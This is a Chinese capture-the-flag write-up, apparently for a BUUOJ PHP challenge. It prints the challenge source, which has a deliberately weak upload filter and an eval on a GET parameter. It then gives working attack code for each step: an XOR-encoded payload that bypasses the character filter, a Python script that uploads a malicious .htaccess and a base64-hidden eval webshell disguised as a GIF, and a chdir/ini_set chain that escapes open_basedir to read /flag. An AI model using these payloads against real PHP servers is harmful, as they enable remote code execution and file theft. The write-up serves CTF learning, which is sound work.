题目首先给出了源码
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| <?php
function get_the_flag(){
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
|
第一步的思路就是绕过waf执行get_the_flag函数，异或绕过
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| ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
|
第二步上传文件，base64编码再解码
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| import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://edaa6186-d365-4fdb-bcc8-d15d8c36cb3b.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
|
第三步绕过open_basedir，这个函数规定活动的文件夹范围。
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| cmd=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));
cmd=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(file_get_contents('/flag'));
|